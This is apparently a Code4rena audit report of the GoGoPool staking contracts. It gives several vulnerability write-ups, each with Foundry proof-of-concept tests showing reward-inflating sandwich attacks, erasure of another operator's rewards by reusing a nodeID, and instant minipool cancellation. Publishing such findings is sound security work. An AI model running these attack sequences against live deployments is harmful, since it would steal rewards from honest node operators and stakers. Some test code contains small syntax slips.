GoGoPool contest - Allarious's results

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L373-L375 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ClaimNodeOp.sol#L68-L78 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L220-L223

Vulnerability details

Impact

Whenever Rialto sends recordStakingStart, getAVAXAssigned gets compared to getAVAXAssignedHighWater to check if the AVAXAssignedHighWater needs to increase. However, since the function increaseAVAXStake is called inside the createMinipool and the function is external, an attacker can call createMinipool just before the Rialto calls recordStakingStart with his nodeID to increase the return value of getAVAXAssigned and increase the getAVAXAssignedHighWater for the current cycle. An attacker can boost its AVAXAssignHighWater with the amount of AVAXAssignmentRequest each time which is currently capped at 10,000 AVAX in by the DAO.

The main problem here is the fact that getAVAXAssigned is not considering the actual value that is currently being staked, but the value that is requested by the node operators to be staked. This should not happen since the funds in the createMinipool are not yet officially entered to the protocol until they are staked and verified by the Rialto.

This exploitation can be combined with the instant cancellation of a minipool to create fake minipools that get instantly cancelled after recordStakingStart is called by Rialto. This happens when the attacker performs a sandwich attack by manipulating the ordering of transactions and frontruns recordStakingStart with createMinipool and backruns it with cancelMinipool.

Proof of Concept

Without the cancellation of minipool:

        function testBoostingHighwaterWithoutCancellation() public {
		uint256 effectiveEther = 0; 
		skip(dao.getRewardsCycleSeconds());
		rewardsPool.startRewardsCycle();

		// Two operators have  AVAXAssignedHighWater of 2000 but their current stake amount is 0
		address nodeOp1 = getActorWithTokens("nodeOp1", MAX_AMT, MAX_AMT);
		vm.startPrank(nodeOp1);
		ggAVAX.depositAVAX{value: 2000 ether}();
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(6000 ether);
		vm.stopPrank();

		address nodeOp2 = getActorWithTokens("nodeOp2", MAX_AMT, MAX_AMT);
		vm.startPrank(nodeOp2);
		ggAVAX.depositAVAX{value: 2000 ether}();
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(6000 ether);
		vm.stopPrank();

		vm.startPrank(address(minipoolMgr));
		staking.increaseAVAXAssignedHighWater(nodeOp1, 2000 ether); // presetting a baseline for the highwater
		staking.increaseAVAXAssignedHighWater(nodeOp2, 2000 ether);
		vm.stopPrank();


		/**
		 * Attacker causing the highwater to rise
		 * up until now both highwaters are set at 2000, a node operator should actually get staked funds more than 2000 in order to increase the highwater
		 */

		// What is expected to happen when a node operator submits a minipool
		vm.startPrank(nodeOp1);
		MinipoolManager.Minipool memory mp1 = createMinipool(1000 ether, 1000 ether, 2 weeks);
		rialto.processMinipoolStart(mp1.nodeID);
		effectiveEther += staking.getEffectiveGGPStaked(nodeOp1);
		vm.stopPrank();

		vm.startPrank(nodeOp2);

		assertEq(staking.getAVAXAssignedHighWater(nodeOp1), 2000 ether);
		assertEq(staking.getAVAXAssignedHighWater(nodeOp2), 2000 ether); // Equal until now, because they are preset

		MinipoolManager.Minipool memory mp2 = createMinipool(1000 ether, 1000 ether, 2 weeks); 
		createMinipool(2000 ether, 2000 ether, 2 weeks); // another minipool request just before the previous one get staked
		rialto.processMinipoolStart(mp2.nodeID); // This should not increase the highwater but it does!

		assertEq(staking.getAVAXAssignedHighWater(nodeOp1), 2000 ether);
		assertEq(staking.getAVAXAssignedHighWater(nodeOp2), 3000 ether); // nodeOp2 never had 3000 Avax assigned on-chain up until now, but has a highwater of 3000

		effectiveEther += staking.getEffectiveGGPStaked(nodeOp2);
		vm.stopPrank();

		skip(15 days); // so that both node operators are eligible for the rewards

		vm.startPrank(address(rialto));
		nopClaim.calculateAndDistributeRewards(nodeOp1, effectiveEther);
		nopClaim.calculateAndDistributeRewards(nodeOp2, effectiveEther);
		assertLe(staking.getGGPRewards(nodeOp1), (nopClaim.getRewardsCycleTotal()) / 2);

		assertEq((nopClaim.getRewardsCycleTotal()) / 2, 23623867031209482368956);
		assertEq(staking.getGGPRewards(nodeOp1), 18899093624967585895165);
		assertEq(staking.getGGPRewards(nodeOp2), 28348640437451378842747);

		vm.stopPrank();
	}

Using the minipool cancellation to perform a sandwich attack:

	function testBoostingHighwater() public {
		address nodeOp1 = getActorWithTokens("nodeOp1", MAX_AMT, MAX_AMT);
		address nodeOp2 = getActorWithTokens("nodeOp2", MAX_AMT, MAX_AMT);

		uint256 effectiveEther = 0; 
		skip(dao.getRewardsCycleSeconds());
		rewardsPool.startRewardsCycle();
		
		// Node Operator 1
		// Two operators have  AVAXAssignedHighWater of 2000 but their current stake amount is 0
		vm.startPrank(nodeOp1);
		ggAVAX.depositAVAX{value: 2000 ether}();
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(6000 ether);
		vm.stopPrank();

		// Node operator 2 first action
		vm.startPrank(nodeOp2);
		ggAVAX.depositAVAX{value: 2000 ether}();
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(6000 ether);
		createMinipool(1000 ether, 1000 ether, 2 weeks); // node operator created a minipool at the start of the cycle
		vm.stopPrank();

		skip(5 days); // to skip the minipool cancellation moratorium seconds

		vm.startPrank(address(minipoolMgr));
		staking.increaseAVAXAssignedHighWater(nodeOp1, 2000 ether);
		staking.increaseAVAXAssignedHighWater(nodeOp2, 2000 ether);
		vm.stopPrank();

		/**
		 * Attack scenario
		 */

		vm.startPrank(nodeOp1);
		MinipoolManager.Minipool memory mp1 = createMinipool(1000 ether, 1000 ether, 2 weeks);
		rialto.processMinipoolStart(mp1.nodeID);
		effectiveEther += staking.getEffectiveGGPStaked(nodeOp1);
		vm.stopPrank();

		vm.startPrank(nodeOp2);
		MinipoolManager.Minipool memory mp2 = createMinipool(1000 ether, 1000 ether, 2 weeks); 

		// Sandwich Attack 
		MinipoolManager.Minipool memory fakeMinipool =  createMinipool(1000 ether, 1000 ether, 2 weeks); // another pool by the nodeOp2
		rialto.processMinipoolStart(mp2.nodeID); // This should not increase the highwater but it does!
		minipoolMgr.cancelMinipool(fakeMinipool.nodeID);
		effectiveEther += staking.getEffectiveGGPStaked(nodeOp2);

		vm.stopPrank();

		skip(15 days);

		vm.startPrank(address(rialto));
		nopClaim.calculateAndDistributeRewards(nodeOp1, effectiveEther);
		nopClaim.calculateAndDistributeRewards(nodeOp2, effectiveEther);
		assertLe(staking.getGGPRewards(nodeOp1), (nopClaim.getRewardsCycleTotal()) / 2);

		assertEq((nopClaim.getRewardsCycleTotal()) / 2, 23623867031209482368956);
		assertEq(staking.getGGPRewards(nodeOp1), 18899093624967585895165);
		assertEq(staking.getGGPRewards(nodeOp2), 28348640437451378842747);

		vm.stopPrank();
	}

Tools Used

Foundry

Recommended Mitigation Steps

There should be another variable that tracks the amount of stakes that are actually in the hands of Rialto and are being staked on-chain.

Judge has assessed an item in Issue #867 as 3 risk. The relevant finding follows:

L-02, MinipoolManager, lines 670 - 684: The slash function slashes a node operator for the amount of whole duration. Since the cycles are in 14 days and the slashing is checked in the recordStakingEnd, if an operator has a duration of for example 180 days, but fail to gin rewards for one cycle, she will be slashed for the amount of whole duration and that would not be fair not fair.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L196-L269 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L287-L303 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L385-L440

Vulnerability details

Impact

After the staking period is done, Rialto is supposed to call recordStakingEnd to send the totalAvaxAmount + avaxTotalRewardAmt back to the MinipoolManager which would leave the minipool status in Withdrawable. Then the reward of the node operator is stored in minipool.item.[minipoolIndex].avaxNodeOpRewardAmt. If the duration of staking is over, node operator is supposed to call the withdrawMinipoolFunds to claim all her staked funds and rewards.

However, anyone who manages to call the createMinipool function with the same nodeID as the node operator after recordStakingEnd is called by the Rialto and before withdrawMinipoolFunds by the user, can reset all of the minipool's fields and therefore, remove the node operator's rewards amount by clearing minipool.item.[minipoolIndex].avaxNodeOpRewardAmt.

While the initial staking amount of the operator and staker liquidity and their rewards are safe and retrievable, the rewards play a big role in the node operator incentive and they should be securely transfered to the node operator.

Proof of Concept

	function testCreateMinipoolBug() public {
		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;
		uint256 delegationFee = 0.02 ether;
		address nodeID = address(10);

		vm.startPrank(nodeOp);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		minipoolMgr.createMinipool{value: depositAmt}(nodeID, duration, delegationFee, avaxAssignmentRequest);
		int256 minipoolIndex = minipoolMgr.getIndexOf(nodeID);
		MinipoolManager.Minipool memory mp1 = minipoolMgr.getMinipool(minipoolIndex);
		vm.stopPrank();

		address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker1);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		vm.prank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(nodeID);

		bytes32 txID = keccak256("txid");
		vm.prank(address(rialto));
		minipoolMgr.recordStakingStart(nodeID, txID, block.timestamp);

		skip(duration);
		
		// Give rialto the rewards it needs
		// rewards 10 ether
		// half rewards 5 ether
		// commission fee (5 ether * 15/100)

		deal(address(rialto), address(rialto).balance + 10 ether);
		//right now rewards are split equally between the node op and user. User provided half the total funds in this test
		vm.prank(address(rialto));

		minipoolMgr.recordStakingEnd{value: validationAmt + 10 ether}(mp1.nodeID, block.timestamp, 10 ether);
		//checking the node operators rewards are corrrect
		assertEq(vault.balanceOf("MinipoolManager"), (depositAmt + 5 ether + (5 ether * 15/100)));


		/**
		 * When an attacker from outside the network can take ownership of a nodeID and clear the rewards
		 */
		assertEq(
			store.getUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpRewardAmt"))),
			5750000000000000000
			); Rewards are in the minipool
		vm.startPrank(
			getActorWithTokens("DarthVader", MAX_AMT, MAX_AMT)
			);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		minipoolMgr.createMinipool{value: depositAmt}(nodeID, duration, delegationFee, avaxAssignmentRequest); // same nodeID
		vm.stopPrank();
		assertEq(
			store.getUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpRewardAmt"))),
			0
			); rewards are gone!
		
		vm.startPrank(nodeOp);
		vm.expectRevert(MinipoolManager.OnlyOwner.selector); // An attacker owns a new minipool now, the reward is gone!
		minipoolMgr.withdrawMinipoolFunds(mp1.nodeID);
		vm.stopPrank();

Tools Used

Foundry

Recommended Mitigation Steps

There should definitely be an ownership check and a claimed rewards check in the createMempool function, in case the nodeID already exists in the network. This can also come from the state handling of the MinipoolManager as well, where preLaunch is a valid state after the Withdrawable and can cause this bug.

Judge has assessed an item in Issue #867 as 2 risk. The relevant finding follows:

L-01, ProtocolDAO.sol lines 209 - 216:
upgradeExistingContract mistakenly removes the address value of the new contract if the new contract’s name is the same as the old one. This can be easily fixed with unregistering first and then registering with can be done manually by the guardian if he is careful.
Also, if the name of the contract is changing, the value of the previous contract should be moved to the new one. However, since the name of the contracts is hardcoded into the other ones for handling permissions, I assume the name of the contract would stay the same or a whole new set of contract should be deployed together. PoC is included below: function testUpgradeExistingContractSameName() public { address addr = randAddress(); string memory name = "existingName";

    address existingAddr = randAddress();
    string memory existingName = "existingName";

    vm.prank(guardian);
    dao.registerContract(existingAddr, existingName);
    assertEq(store.getBool(keccak256(abi.encodePacked("contract.exists", existingAddr))), true);
    assertEq(store.getAddress(keccak256(abi.encodePacked("contract.address", existingName))), existingAddr);
    assertEq(store.getString(keccak256(abi.encodePacked("contract.name", existingAddr))), existingName);

    vm.prank(guardian);
    dao.upgradeExistingContract(addr, name, existingAddr);
    assertEq(store.getAddress(keccak256(abi.encodePacked("contract.address", name))), address(0));
}

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L444-L478 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L152-L175

Vulnerability details

Impact

When a node operator submits a request to create a minipool for the duration of more than 14 days, Rialto will break the request down to the 14 day staking. Where Rialto calls recreateMempool after each cycle ends continue the staking until the duration is over.

recreateMempool only needs the state to be valid when it goes to Prelaunch which contains Withdrawable, the state the Rialto expects the Minipool to be when it calls recreateMempool. However, Finished is also a valid state before withdrawable and if the user manages to call withdrawMinipoolFunds before Rialto calls recreateMempool, the node operator can take all the staked amount + rewards while the minipool continues existing and staking on-chain.

Also, it should be mentioned that it is possible for a node operator to cancel a mempool when it is recreated by the Rialto to continue staking for the price of losing its funds. This scenario should not be possible due to the documentation of the project.

Proof of Concept

	function testRecreateMinipoolBug() public {
		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;
		uint256 delegationFee = 0.02 ether;
		address nodeID = address(10);

		vm.startPrank(nodeOp);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		minipoolMgr.createMinipool{value: depositAmt}(nodeID, duration, delegationFee, avaxAssignmentRequest);
		int256 minipoolIndex = minipoolMgr.getIndexOf(nodeID);
		MinipoolManager.Minipool memory mp1 = minipoolMgr.getMinipool(minipoolIndex);
		vm.stopPrank();

		address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker1);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		vm.prank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(mp1.nodeID);

		bytes32 txID = keccak256("txid");
		vm.prank(address(rialto));
		minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp);

		skip(duration);
		
		// Give rialto the rewards it needs
		// rewards 10 ether
		// half rewards 5 ether
		// commission fee (5 ether * 15/100)

		deal(address(rialto), address(rialto).balance + 10 ether);
		//right now rewards are split equally between the node op and user. User provided half the total funds in this test
		vm.prank(address(rialto));

		minipoolMgr.recordStakingEnd{value: validationAmt + 10 ether}(mp1.nodeID, block.timestamp, 10 ether);
		//checking the node operators rewards are corrrect
		assertEq(vault.balanceOf("MinipoolManager"), (depositAmt + 5 ether + (5 ether * 15/100)));

		assertEq(
			staking.getAVAXStake(nodeOp),
			1000000000000000000000
			);

		vm.startPrank(nodeOp);
		assertEq(
			store.getUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")))
			, uint256(MinipoolStatus.Withdrawable)
			);
		minipoolMgr.withdrawMinipoolFunds(mp1.nodeID);
				assertEq(
			store.getUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")))
			, uint256(MinipoolStatus.Finished)
			);
		vm.stopPrank();

		console.log(
			staking.getAVAXStake(nodeOp),
			0
			);

		vm.prank(address(rialto));
		minipoolMgr.recreateMinipool(mp1.nodeID);

		assertEq(
			staking.getAVAXStake(nodeOp),
			5750000000000000000
			);
		assertEq(
			staking.getAVAXAssigned(nodeOp),
			1005750000000000000000
		);
	}

Tools Used

Foundry

Recommended Mitigation Steps

Quick Fix: Recreate mempool should check the current state of the mempool to be in Withdrawable instead of valid states that can go to prelaunch, however, this does not fix the fact that users should not be able to call the WithdrawMinipoolFunds before the duration ends. The better fix would be to create a new state instead of withdrawable that can only be accessed by Rialto and is only for the mempools with the duration of more than 2 weeks.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L279-L281

Vulnerability details

Impact

Any node operator who created a minipool and received his reward more than 5 days ago (amount of ProtocolDAO.MinipoolCancelMoratoriumSeconds) can create and cancel minipools instantly. cancelMinipool should track each minipool's startTime individually and do not allow a minipool cancellation since it will allow an attacker to push and pull funds from the protocol quickly. This issue can be combined with other bugs to create more critical ones and need to be addresses.

Proof of Concept

function testMinipoolCancellationBug() public {
	uint256 duration = 2 weeks;
	uint256 depositAmt = 1000 ether;
	uint256 avaxAssignmentRequest = 1000 ether;
	uint256 validationAmt = depositAmt + avaxAssignmentRequest;
	uint128 ggpStakeAmt = 2000 ether;
	uint256 delegationFee = 0.02 ether;
	address nodeID = address(10);
	address nodeIDNew = address(11);

	vm.startPrank(nodeOp);
	ggp.approve(address(staking), MAX_AMT);
	staking.stakeGGP(ggpStakeAmt);
	minipoolMgr.createMinipool{value: depositAmt}(nodeID, duration, delegationFee, avaxAssignmentRequest);
	int256 minipoolIndex = minipoolMgr.getIndexOf(nodeID);
	MinipoolManager.Minipool memory mp1 = minipoolMgr.getMinipool(minipoolIndex);
	vm.expectRevert(MinipoolManager.CancellationTooEarly.selector);
	minipoolMgr.cancelMinipool(nodeID);

	skip(5 days);

	minipoolMgr.createMinipool{value: depositAmt}(nodeIDNew, duration, delegationFee, avaxAssignmentRequest);
	int256 newMinipoolIndex = minipoolMgr.getIndexOf(nodeIDNew);
	MinipoolManager.Minipool memory mp2 = minipoolMgr.getMinipool(newMinipoolIndex);
	assertEq(mp2.status, uint256(MinipoolStatus.Prelaunch));

	minipoolMgr.cancelMinipool(nodeIDNew);
	mp2 = minipoolMgr.getMinipool(newMinipoolIndex);
	assertEq(mp2.status, uint256(MinipoolStatus.Canceled)); // Minipool is cancelled instantly after it is made

	vm.stopPrank();
}

Tools Used

Foundry

Recommended Mitigation Steps

The protocol needs to track each mininpool's creation separately and not allow them to cancel new minipools instantly after each creation of a minipool. This is important to guarantee that node operator's funds are at least locked to the amount of ProtocolDAO.MinipoolCancelMoratoriumSeconds and can be claimed afterwards.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L484-L515 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L528-L533 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ClaimNodeOp.sol#L81-L84 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ClaimNodeOp.sol#L46-L52

Vulnerability details

Impact

Minipool.count is the actual number of minipools an staker has at a certain time. However, there are some paths that a minipool can take in state transition that lead to Minipool.count desyncing. When a minipool goes through the state transitions of Prelaunch -> Launched -> Staking -> Error -(optional)-> Finished -> Prelaunch, the number of Minipool.Count does not get subtracted and can reach to two with only one NodeID. This causes the result of staking.RewardsStartTime to do not set to zero in calculateAndDistributeRewards even when the staker has no minipool up and running. Not only this can put the contracts in an unexpected state, where the minipool cout is more than zero while the AVAXAssignment in a reward cycle is zero, but also gives the staker a certain set of unfair advantages:

• Allows user to skip the 14 day staking time in a 28 day rewards cycle at any cycle in the future (isEligible is always tru after 5 days)
• Allows user to call createMinipool and then instantly cancelMinipool in any time in the future, which causes the node operator to earn a part of next GGP inflation

However, this should be noted that the transition into this state should be triggered unwantedly by the Rialto by calling Error and can be fixed individually by guardian. Also isEligible is supposed to be called off-chain by Rialto and the valid staker then get their parts. Therefore, Rialto can enforce some corrections off-chain.

the actual state transition model is shown below which shows valid state transitions:

One of the main problems would be RewardsStartTime where it only records the starting time of the first minipool created. For example if a minipool is created and cancelled at anytime after that would lead to participation in at least one GGP inflation reward round. The fairer option would be to track the amount of time a some amount of staked assigned liquidity to his account, or at least one nodeID active. Looking at only RewardstartTime can be unfair to other users as it makes the first 2 weeks of a cycle much more valuable than the last two weeks since stakers in the first two weeks get to get the GGP inflation rewards for one more round.

Proof of Concept

This is where the staker desyncs the minipool.count:

	function testRewardpoolStartTimeBug() public {
		address nodeOp = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);

		skip(dao.getRewardsCycleSeconds());
		rewardsPool.startRewardsCycle();
		
		skip(1 days);

		vm.startPrank(nodeOp);
		ggAVAX.depositAVAX{value: 2000 ether}();
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(6000 ether);
		MinipoolManager.Minipool memory mp = createMinipool(1000 ether, 1000 ether, 2 weeks);
		assertEq(staking.getMinipoolCount(nodeOp), 1); // First minipool is created
		rialto.processMinipoolStart(mp.nodeID);
		skip(1 days);
		vm.stopPrank();

		vm.startPrank(mp.multisigAddr);
		console.log(store.getAddress(keccak256(abi.encodePacked("minipool.item", mp.index, ".multisigAddr"))));
		console.log(mp.multisigAddr);
		uint256 avaxNodeOpAmt = store.getUint(keccak256(abi.encodePacked("minipool.item", mp.index, ".avaxNodeOpAmt")));
		uint256 avaxLiquidStakerAmt = store.getUint(keccak256(abi.encodePacked("minipool.item", mp.index, ".avaxLiquidStakerAmt")));
		minipoolMgr.recordStakingError{value: avaxNodeOpAmt + avaxLiquidStakerAmt}(mp.nodeID, "ErrCode"); // User can also call createMinipool here
		minipoolMgr.finishFailedMinipoolByMultisig(mp.nodeID); // This line is optional since Error -> Prelaunch is valid too
		vm.stopPrank();

		vm.startPrank(nodeOp);
		minipoolMgr.createMinipool{value: 1000 ether}(mp.nodeID, mp.duration, mp.delegationFee, 1000 ether);
		mp =  minipoolMgr.getMinipool(
			minipoolMgr.getIndexOf(mp.nodeID)
			);
		assertEq(staking.getMinipoolCount(nodeOp), 2); // minipool is increased to two but only one minipool with one nodeID is created so far!
		
		skip(5 days);

		minipoolMgr.cancelMinipool(mp.nodeID);
		assertEq(staking.getMinipoolCount(nodeOp), 1); // There is a free miniPoolCount Up with no nodeID active!

		skip(28 days + 1 hours);

		assertEq(nopClaim.isEligible(nodeOp), true);
		rialto.processGGPRewards(); // distributes rewards and starts next cycle


		assertEq(nopClaim.isEligible(nodeOp), true);

		MinipoolManager.Minipool memory mpTemp = createMinipool(1000 ether, 1000 ether, 2 weeks);
		assertEq(staking.getMinipoolCount(nodeOp), 2);
		minipoolMgr.cancelMinipool(mpTemp.nodeID); // instantCancel for ever!
		assertEq(staking.getMinipoolCount(nodeOp), 1);

		vm.stopPrank();
	}

This is where a staker gets into the GGP reward round by only staking for the first 10 seconds in a 28 day period:

function testIsEligibleUnFair() public {
		address nodeOp = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);

		skip(dao.getRewardsCycleSeconds());
		rewardsPool.startRewardsCycle();

		skip(10 seconds);

		vm.startPrank(nodeOp);
		ggAVAX.depositAVAX{value: 2000 ether}();
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(6000 ether);
		MinipoolManager.Minipool memory mp = createMinipool(1000 ether, 1000 ether, 2 weeks);
		assertEq(staking.getMinipoolCount(nodeOp), 1); // First minipool is created

		skip(1 days);
		rialto.processMinipoolStart(mp.nodeID);

		vm.stopPrank();

		skip(27 days); // to the end of the cycle
		assertEq(nopClaim.isEligible(nodeOp), true); // node operator should be eligible for the current cycle

		rialto.processGGPRewards();

		skip(10 seconds);
		rialto.processMinipoolEndWithRewards(mp.nodeID);

		assertEq(nopClaim.isEligible(nodeOp), true); // Even though node operator had a pool for 10 seconds this cycle, is eligible for the reward at the end!
	}

Tools Used

Foundry

Recommended Mitigation Steps

for the desyncing it only needs to add staking.decreaseMinipoolCount(owner); to the recordStakingError function. For the RewardsStartTime it mostly comes down to the designers, they might think this model works good enough or it might be a good idea to track each staker's minipool's uptime individually.